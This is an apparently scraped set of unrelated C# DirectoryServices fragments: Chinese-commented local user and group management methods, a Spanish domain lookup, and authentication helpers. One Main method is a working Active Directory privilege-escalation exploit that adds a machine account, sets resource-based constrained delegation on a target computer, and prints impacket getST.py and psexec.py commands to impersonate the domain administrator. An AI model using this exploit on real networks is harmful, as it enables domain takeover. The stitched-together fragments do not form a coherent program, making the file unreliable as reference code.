/// <summary> /// 删除用户组 /// </summary> /// <param name="groupCommonName">组名</param> public void DeleteGroup(string groupCommonName) { System.DirectoryServices.DirectoryEntry Group = null; try { Group = this.AD.Children.Find(groupCommonName, "group"); } catch (System.Runtime.InteropServices.COMException e) { //如果组不存在则正常返回,否则抛出异常。 if (System.Convert.ToInt64(string.Format("0x{0:X}", e.ErrorCode), 16) == 0x800708AC) //找不到组名。 (异常来自 HRESULT:0x800708AC) { return; } throw; } try { if (Group.Name != null) { this.AD.Children.Remove(Group); } } finally { Group.Close(); } }
} // End Function Groups // http://stackoverflow.com/questions/45437/determining-members-of-local-groups-via-c-sharp public static System.Collections.Generic.List <string> AttributeValuesMultiString(string attributeName, string objectDn , System.Collections.Generic.List <string> valuesCollection, bool recursive) { using (System.DirectoryServices.DirectoryEntry ent = new System.DirectoryServices.DirectoryEntry(objectDn)) { System.DirectoryServices.PropertyValueCollection ValueCollection = ent.Properties[attributeName]; System.Collections.IEnumerator en = ValueCollection.GetEnumerator(); while (en.MoveNext()) { if (en.Current != null) { if (!valuesCollection.Contains(en.Current.ToString())) { valuesCollection.Add(en.Current.ToString()); if (recursive) { AttributeValuesMultiString(attributeName, "LDAP://" + en.Current.ToString(), valuesCollection, true); } // End if (recursive) } // End if (!valuesCollection.Contains(en.Current.ToString())) } // End if (en.Current != null) } // Whend ent.Close(); // ent.Dispose(); } // End Using DirectoryEntry ent return(valuesCollection); } // End Function AttributeValuesMultiString
/// <summary> /// 将用户从指定组中移除。默认为 Users 下的组和用户。 /// </summary> /// <param name="userCommonName">用户名</param> /// <param name="groupCommonName">组名</param> public void RemoveUserFromGroup(string userCommonName, string groupCommonName) { System.DirectoryServices.DirectoryEntry oGroup = this.AD.Children.Find(groupCommonName, "group"); try { object members = oGroup.Invoke("Members", null); foreach (object member in (System.Collections.IEnumerable)members) { //获取该组的每个成员 System.DirectoryServices.DirectoryEntry x = new System.DirectoryServices.DirectoryEntry(member); if (userCommonName == x.Name) //要移除的用户存在的话,则从该组中移除。 { System.DirectoryServices.DirectoryEntry User = this.AD.Children.Find(userCommonName, "user"); //找到该用户 oGroup.Invoke("Remove", new object[] { User.Path }); User.Close(); } } } finally { oGroup.Close(); } }
private string ObtenerPrimaryDomain(string Dominio, string Usuario, string Clave) { ///'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ///'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' // DESCRIPCION DE VARIABLES LOCALES //strDominio : Nombre del dominio a verificar //objDirectorio : Entrada del directorio //strPath : Ubicación del recurso a buscar en el Active Directory //strItem : Valor de array //strRet : Valor de reotorno //objVerif : Objeto DirectorySearcher que se utiliza para verificar si el dominio // existe //objResultado : Resultado de la búsqueda ///'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' string strDominio = Dominio; System.DirectoryServices.DirectoryEntry objDirectorio = null; string strPath = null; string strItem = null; string strRet = string.Empty; System.DirectoryServices.DirectorySearcher objVerif = default(System.DirectoryServices.DirectorySearcher); System.DirectoryServices.SearchResult objResultado = default(System.DirectoryServices.SearchResult); //Si se envia un nombre de dominio en formato NETBIOS se incorpora la palabra local if (strDominio.IndexOf('.') == -1) { strDominio += ".local"; } strPath = "LDAP://"; foreach (string strItem_loopVariable in strDominio.Split('.')) { strItem = strItem_loopVariable; strPath += "DC="; strPath += strItem; strPath += ","; } strPath = strPath.Substring(0, strPath.Length - 1); try { objDirectorio = new System.DirectoryServices.DirectoryEntry(strPath, Usuario, Clave); objVerif = new System.DirectoryServices.DirectorySearcher(objDirectorio, "(objectClass=domain)"); objResultado = objVerif.FindOne(); if ((objResultado != null)) { strRet = strDominio; } } catch (Exception) { return(""); } finally { objDirectorio.Close(); } return(strRet); }
/// <summary> /// 修改用户密码 /// </summary> /// <param name="commonName">用户名</param> /// <param name="oldPassword">旧密码</param> /// <param name="newPassword">新密码</param> public void ChangeUserPassword(string commonName, string oldPassword, string newPassword) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { obUser.Invoke("ChangePassword", new object[] { oldPassword, newPassword }); obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 获取用户组信息。 /// </summary> /// <param name="groupCommonName">用户组名称</param> /// <returns>用户组信息。</returns> public GroupInfo GetGroup(string groupCommonName) { System.DirectoryServices.DirectoryEntry o = this.AD.Children.Find(groupCommonName, "Group"); try { string Description = (string)o.Invoke("Get", "Description"); return(new GroupInfo(groupCommonName, Description)); } finally { o.Close(); } }
/// <summary> /// 设置用户主文件夹路径。 /// </summary> /// <param name="commonName">用户名</param> /// <param name="Path">主文件夹路径</param> public void SetHomeDirectory(string commonName, string Path) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { obUser.Invoke("Put", "HomeDirectory", Path); //主文件夹路径 obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 设置用户描述。 /// </summary> /// <param name="commonName">用户名</param> /// <param name="Description">描述</param> public void SetDescription(string commonName, string Description) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { obUser.Invoke("Put", "Description", Description); obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 设置用户全名。 /// </summary> /// <param name="commonName">用户名</param> /// <param name="FullName">全名</param> public void SetFullName(string commonName, string FullName) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { obUser.Invoke("Put", "FullName", FullName); obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 添加用户组 /// </summary> /// <param name="groupCommonName">组名</param> /// <param name="Description">描述</param> public void CreateGroup(string groupCommonName, string Description) { System.DirectoryServices.DirectoryEntry Group = this.AD.Children.Add(groupCommonName, "group"); try { Group.Invoke("Put", "description", Description); Group.CommitChanges(); } finally { Group.Close(); } }
/// <summary> /// 取消设置用户下次登录时需更改密码。 /// </summary> /// <param name="commonName">用户名</param> public void DisablePasswordExpired(string commonName) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { obUser.Invoke("Put", "PasswordExpired", 0); obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 创建用户 /// </summary> /// <param name="commonName">用户名</param> /// <param name="FullName">全名</param> /// <param name="Password">密码</param> /// <param name="Description">描述</param> public void CreateUser(string commonName, string FullName, string Password, string Description) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Add(commonName, "User"); try { obUser.Invoke("Put", "FullName", FullName); obUser.Invoke("Put", "Description", Description); obUser.Invoke("SetPassword", Password); obUser.CommitChanges(); } finally { obUser.Close(); } //this.SetPassword(commonName, Password); }
/// <summary> /// 设置用户密码永不过期。 /// </summary> /// <param name="commonName">用户名</param> public void EnableDontExpirePassword(string commonName) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { object UserFlags = obUser.Invoke("Get", "UserFlags"); ADS_USER_FLAG_ENUM aUserFlags = (ADS_USER_FLAG_ENUM)UserFlags; aUserFlags = aUserFlags | ADS_USER_FLAG_ENUM.DONT_EXPIRE_PASSWD; obUser.Invoke("Put", "UserFlags", aUserFlags); obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 禁用指定的用户。 /// </summary> /// <param name="commonName">用户名</param> public void DisableUser(string commonName) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { object UserFlags = obUser.Invoke("Get", "UserFlags"); ADS_USER_FLAG_ENUM aUserFlags = (ADS_USER_FLAG_ENUM)UserFlags; aUserFlags = aUserFlags | ADS_USER_FLAG_ENUM.ACCOUNTDISABLE; obUser.Invoke("Put", "UserFlags", aUserFlags); obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 设置用户组描述 /// </summary> /// <param name="groupCommonName">组名</param> /// <param name="Description">描述</param> public void SetGroupDescription(string groupCommonName, string Description) { System.DirectoryServices.DirectoryEntry Group = this.AD.Children.Find(groupCommonName, "group"); try { if (Group.Name != null) { Group.Invoke("Put", "description", Description); Group.CommitChanges(); } } finally { Group.Close(); } }
/// <summary> /// 取消设置用户不能更改密码。 /// </summary> /// <param name="commonName">用户名</param> public void DisableChangePassword(string commonName) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User"); try { object UserFlags = obUser.Invoke("Get", "UserFlags"); ADS_USER_FLAG_ENUM aUserFlags = (ADS_USER_FLAG_ENUM)UserFlags; aUserFlags = aUserFlags & (~ADS_USER_FLAG_ENUM.PASSWD_CANT_CHANGE); obUser.Invoke("Put", "UserFlags", aUserFlags); obUser.CommitChanges(); } finally { obUser.Close(); } }
/// <summary> /// 将指定的用户添加到指定的组中。默认为 Users 下的组和用户。 /// </summary> /// <param name="userCommonName">用户名</param> /// <param name="groupCommonName">组名</param> public void AddUserToGroup(string userCommonName, string groupCommonName) { System.DirectoryServices.DirectoryEntry oUser = this.AD.Children.Find(userCommonName, "User"); System.DirectoryServices.DirectoryEntry oGroup = this.AD.Children.Find(groupCommonName, "group"); try { if (oGroup.Name != null && oUser.Name != null) { oGroup.Invoke("Add", new object[] { oUser.Path }); } } finally { oGroup.Close(); oUser.Close(); } }
/// <summary> /// 判断指定名称的用户是否存在 /// </summary> /// <param name="commonName">用户名</param> /// <returns>如果存在,返回 true;否则返回 false</returns> public bool IsUserExists(string commonName) { try { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "user"); obUser.Close(); return(true); } catch (System.Runtime.InteropServices.COMException e) { //如果用户不存在则正常返回,否则抛出异常。 if (System.Convert.ToInt64(string.Format("0x{0:X}", e.ErrorCode), 16) == 0x800708AD) //找不到用户名。 (异常来自 HRESULT:0x800708AD) { return(false); } throw; } }
/// <summary> /// 获取用户信息。 /// </summary> /// <param name="commonName">用户名</param> /// <returns>用户信息。</returns> public UserInfo GetUser(string commonName) { System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "user"); try { string FullName = (string)obUser.Invoke("Get", "FullName"); string Description = (string)obUser.Invoke("Get", "Description"); string HomeDirectory = (string)obUser.Invoke("Get", "HomeDirectory"); bool PasswordExpired = (int)obUser.Invoke("Get", "PasswordExpired") == 1? true: false; ADS_USER_FLAG_ENUM UserFlags = (ADS_USER_FLAG_ENUM)obUser.Invoke("Get", "UserFlags"); bool DontExpirePassword = ((UserFlags & ADS_USER_FLAG_ENUM.DONT_EXPIRE_PASSWD) == ADS_USER_FLAG_ENUM.DONT_EXPIRE_PASSWD); bool ChangePassword = ((UserFlags & ADS_USER_FLAG_ENUM.PASSWD_CANT_CHANGE) == ADS_USER_FLAG_ENUM.PASSWD_CANT_CHANGE); bool EnableUser = ((UserFlags & ADS_USER_FLAG_ENUM.ACCOUNTDISABLE) == ADS_USER_FLAG_ENUM.ACCOUNTDISABLE); return(new UserInfo(commonName, FullName, Description, HomeDirectory, PasswordExpired, DontExpirePassword, ChangePassword, EnableUser)); } finally { obUser.Close(); } }
/// <summary> /// 判断指定用户组是否存在 /// </summary> /// <param name="groupCommonName">用户组名称</param> /// <returns>如果存在,返回 true;否则返回 false</returns> public bool IsGroupExists(string groupCommonName) { try { System.DirectoryServices.DirectoryEntry de = this.AD.Children.Find(groupCommonName, "group"); de.Close(); return(true); } catch (System.Runtime.InteropServices.COMException e) { //如果组不存在则正常返回,否则抛出异常。 if (System.Convert.ToInt64(string.Format("0x{0:X}", e.ErrorCode), 16) == 0x800708AC) //找不到组名。 (异常来自 HRESULT:0x800708AC) { return(false); } else if (System.Convert.ToInt64(string.Format("0x{0:X}", e.ErrorCode), 16) == 0x80070560)//指定的本地组不存在。 (异常来自 HRESULT:0x80070560) { return(false); } throw; } }
/// <summary> /// 获取隶属于指定组的所有用户。 /// </summary> /// <param name="groupCommonName">组名</param> /// <returns>用户列表。</returns> public string[] GetUsersByGroup(string groupCommonName) { System.Collections.Generic.List <string> result = new System.Collections.Generic.List <string>(); System.DirectoryServices.DirectoryEntry oGroup = this.AD.Children.Find(groupCommonName, "group"); try { object members = oGroup.Invoke("Members", null); foreach (object member in (System.Collections.IEnumerable)members) { //获取该组的每个成员 System.DirectoryServices.DirectoryEntry x = new System.DirectoryServices.DirectoryEntry(member); result.Add(x.Name); } } finally { oGroup.Close(); } return(result.ToArray()); }
/// <summary> /// 判断用户是否存在于指定的用户组中 /// </summary> /// <param name="userCommonName">用户名</param> /// <param name="groupCommonName">组名</param> /// <returns>存在返回 true;否则返回 false。</returns> public bool IsUserInGroup(string userCommonName, string groupCommonName) { System.DirectoryServices.DirectoryEntry oGroup = this.AD.Children.Find(groupCommonName, "group"); try { object members = oGroup.Invoke("Members", null); foreach (object member in (System.Collections.IEnumerable)members) { //获取该组的每个成员 System.DirectoryServices.DirectoryEntry x = new System.DirectoryServices.DirectoryEntry(member); if (userCommonName == x.Name) //如果用户存在。 { return(true); } } } finally { oGroup.Close(); } return(false); }
/// <summary> /// 删除用户。 /// </summary> /// <param name="commonName">用户名</param> public void DeleteUser(string commonName) { System.DirectoryServices.DirectoryEntry obUser = null; try { obUser = this.AD.Children.Find(commonName, "User");//找得用户 } catch (System.Runtime.InteropServices.COMException e) { //如果用户不存在则正常返回,否则抛出异常。 if (System.Convert.ToInt64(string.Format("0x{0:X}", e.ErrorCode), 16) == 0x800708AD) //找不到用户名。 (异常来自 HRESULT:0x800708AD) { return; } throw; } try { this.AD.Children.Remove(obUser);//删除用户 } finally { obUser.Close(); } }
static void Main(string[] args) { if (args.Length < 2) { Usage(); return; } var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf('='); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } } if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm")) { Usage(); return; } String DomainController = arguments["dc"]; String Domain = arguments["domain"]; String new_MachineAccount = ""; String new_MachineAccount_password = ""; //添加的机器账户 if (arguments.ContainsKey("ma")) { new_MachineAccount = arguments["ma"]; } else { new_MachineAccount = RandomString(8); } //机器账户密码 if (arguments.ContainsKey("ma")) { new_MachineAccount_password = arguments["mp"]; } else { new_MachineAccount_password = RandomString(10); } String victimcomputer = arguments["tm"];; //需要进行提权的机器 String machine_account = new_MachineAccount; String sam_account = ""; String DistinguishedName = ""; if (machine_account.EndsWith("$")) { sam_account = machine_account; machine_account = machine_account.Substring(0, machine_account.Length - 1); } else { sam_account = machine_account + "$"; } String distinguished_name = DistinguishedName; String victim_distinguished_name = DistinguishedName; String[] DC_array = null; distinguished_name = "CN=" + machine_account + ",CN=Computers"; victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers"; DC_array = Domain.Split('.'); foreach (String DC in DC_array) { distinguished_name += ",DC=" + DC; victim_distinguished_name += ",DC=" + DC; } Console.WriteLine("[+] Elevate permissions on " + victimcomputer); Console.WriteLine("[+] Domain = " + Domain); Console.WriteLine("[+] Domain Controller = " + DomainController); Console.WriteLine("[+] New SAMAccountName = " + sam_account); //Console.WriteLine("[+] Distinguished Name = " + distinguished_name); //连接ldap System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389); //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录 System.DirectoryServices.Protocols.LdapConnection connection = null; //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc); connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; connection.Bind(); var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account) }); //通过ldap找计算机 System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain); myldapConnection.Path = "LDAP://" + victim_distinguished_name; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(CN=" + victimcomputer + ")"; string[] requiredProperties = new string[] { "samaccountname" }; foreach (String property in requiredProperties) { search.PropertiesToLoad.Add(property); } System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine(ex.Message + "[-] Exiting..."); return; } try { //添加机器账户 connection.SendRequest(request); Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added"); } catch (System.Exception ex) { Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)"); Console.WriteLine("[-] Exception: " + ex.Message); return; } // 获取新计算机对象的SID var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null); var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request); SecurityIdentifier sid = null; foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries) { try { sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0); Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value); } catch { Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting..."); return; } } //设置资源约束委派 if (result != null) { System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry(); String sec_descriptor = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")"; RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor); byte[] buffer = new byte[sd.BinaryLength]; sd.GetBinaryForm(buffer, 0); //测试sddl转换结果 //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0); //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All)); // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中 try { //entryToUpdate.Properties["msDS-AllowedToActOnBehalfOfOtherIdentity"].Value = buffer; entryToUpdate.InvokeSet("msDS-AllowedToActOnBehalfOfOtherIdentity", buffer); entryToUpdate.CommitChanges();//提交更改 entryToUpdate.Close(); Console.WriteLine("[+] Exploit successfully!"); //打印利用方式 Console.WriteLine("[+] Use impacket to get priv!\n\n[+] Command:\n"); Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain); Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache"); Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain); } catch (System.Exception ex) { Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException); Console.WriteLine("[!] Failed..."); return; } } }
protected Boolean GetUserGroupMembership() { System.DirectoryServices.DirectoryEntry userDirectoryEntry = null; System.DirectoryServices.DirectoryEntry groupDirectoryEntry = null; String groupSid; Boolean success = false; String securityAuthorityError = "A system error occurred while authenticating against the Security Authority [Retrieving Group Membership]. Please contact your System Administrator."; try { // Get User Account Entry to determine Group Membership userDirectoryEntry = NewDirectoryEntryByAgent(UserAccountPath); // For each Group Membership foreach (String currentGroup in userDirectoryEntry.Properties["memberOf"]) { System.Diagnostics.Debug.WriteLine(currentGroup); groupDirectoryEntry = NewDirectoryEntryByAgent(DirectoryPath(currentGroup)); groupSid = ObjectSidToString((Byte [])groupDirectoryEntry.Properties ["objectSid"].Value); if (!credentials.Groups.Contains(groupSid)) { credentials.Groups.Add(groupSid); } System.Diagnostics.Debug.WriteLine(groupSid); } // foreach (String currentGroup in userDirectoryEntry.Properties ["memberOf"]) success = true; } catch (Exception AuthenticationException) { success = false; credentials.IsAuthenticated = false; credentials.AuthenticationError = Mercury.Server.Public.Interfaces.Security.Enumerations.AuthenticationError.SecurityAuthorityError; if (credentials.AuthenticationException == null) { credentials.AuthenticationException = AuthenticationException; } else { credentials.AuthenticationException = new ApplicationException(securityAuthorityError + " (" + AuthenticationException.Message + ") ", AuthenticationException); } SetLastException(credentials.AuthenticationException); } // catch (Exception AuthenticationException) finally { if (userDirectoryEntry != null) { userDirectoryEntry.Close(); } if (groupDirectoryEntry != null) { groupDirectoryEntry.Close(); } } return(success); }
protected Boolean GetWindowsAccountInfo() { System.DirectoryServices.DirectoryEntry directoryEntry = null; Boolean success = false; String securityAuthorityError = "A system error occurred while authenticating against the Security Authority [Retreiving Account Information]. Please contact your System Administrator. (Active Directory.Provider)"; try { // Get Domain Root Path information to get the Windows Domain Name directoryEntry = NewDirectoryEntryByAgent(DomainRootPath); windowsDomain = directoryEntry.Properties ["Name"].Value.ToString(); directoryEntry.Close(); // Get the Windows Account Information directoryEntry = NewDirectoryEntryByAgent(UserAccountPath); windowsAccount = directoryEntry.Properties ["SamAccountName"].Value.ToString(); credentials.UserAccountId = ObjectSidToString(((byte[])directoryEntry.Properties["objectSid"].Value)); credentials.UserAccountName = windowsAccount; if (!String.IsNullOrEmpty(((String)directoryEntry.Properties["displayName"].Value))) { credentials.UserDisplayName = directoryEntry.Properties["displayName"].Value.ToString(); } else { credentials.UserDisplayName = credentials.UserName; } directoryEntry.Close(); success = true; } catch (System.Reflection.TargetInvocationException AuthenticationException) { credentials.IsAuthenticated = false; credentials.AuthenticationError = Mercury.Server.Public.Interfaces.Security.Enumerations.AuthenticationError.SecurityAuthorityError; if (AuthenticationException.InnerException != null) { if (credentials.AuthenticationException == null) { credentials.AuthenticationException = AuthenticationException.InnerException; } else { credentials.AuthenticationException = new ApplicationException(securityAuthorityError + " (" + AuthenticationException.Message + ")", AuthenticationException.InnerException); } } else { if (credentials.AuthenticationException == null) { credentials.AuthenticationException = AuthenticationException; } else { credentials.AuthenticationException = new ApplicationException(securityAuthorityError + " (" + AuthenticationException.Message + ")", AuthenticationException); } } SetLastException(credentials.AuthenticationException); } // catch (System.Reflection.TargetInvocationException AuthenticationException) catch (Exception AuthenticationException) { credentials.IsAuthenticated = false; if (AuthenticationException.Message == "There is no such object on the server.\r\n") { credentials.AuthenticationError = Mercury.Server.Public.Interfaces.Security.Enumerations.AuthenticationError.InvalidUserOrPassword; } else { credentials.AuthenticationError = Mercury.Server.Public.Interfaces.Security.Enumerations.AuthenticationError.SecurityAuthorityError; } if (credentials.AuthenticationException == null) { credentials.AuthenticationException = AuthenticationException; } else { credentials.AuthenticationException = new ApplicationException(credentials.AuthenticationException.Message, AuthenticationException); } SetLastException(credentials.AuthenticationException); } // catch (Exception AuthenticationException) finally { if (directoryEntry != null) { directoryEntry.Close(); } } return(success); }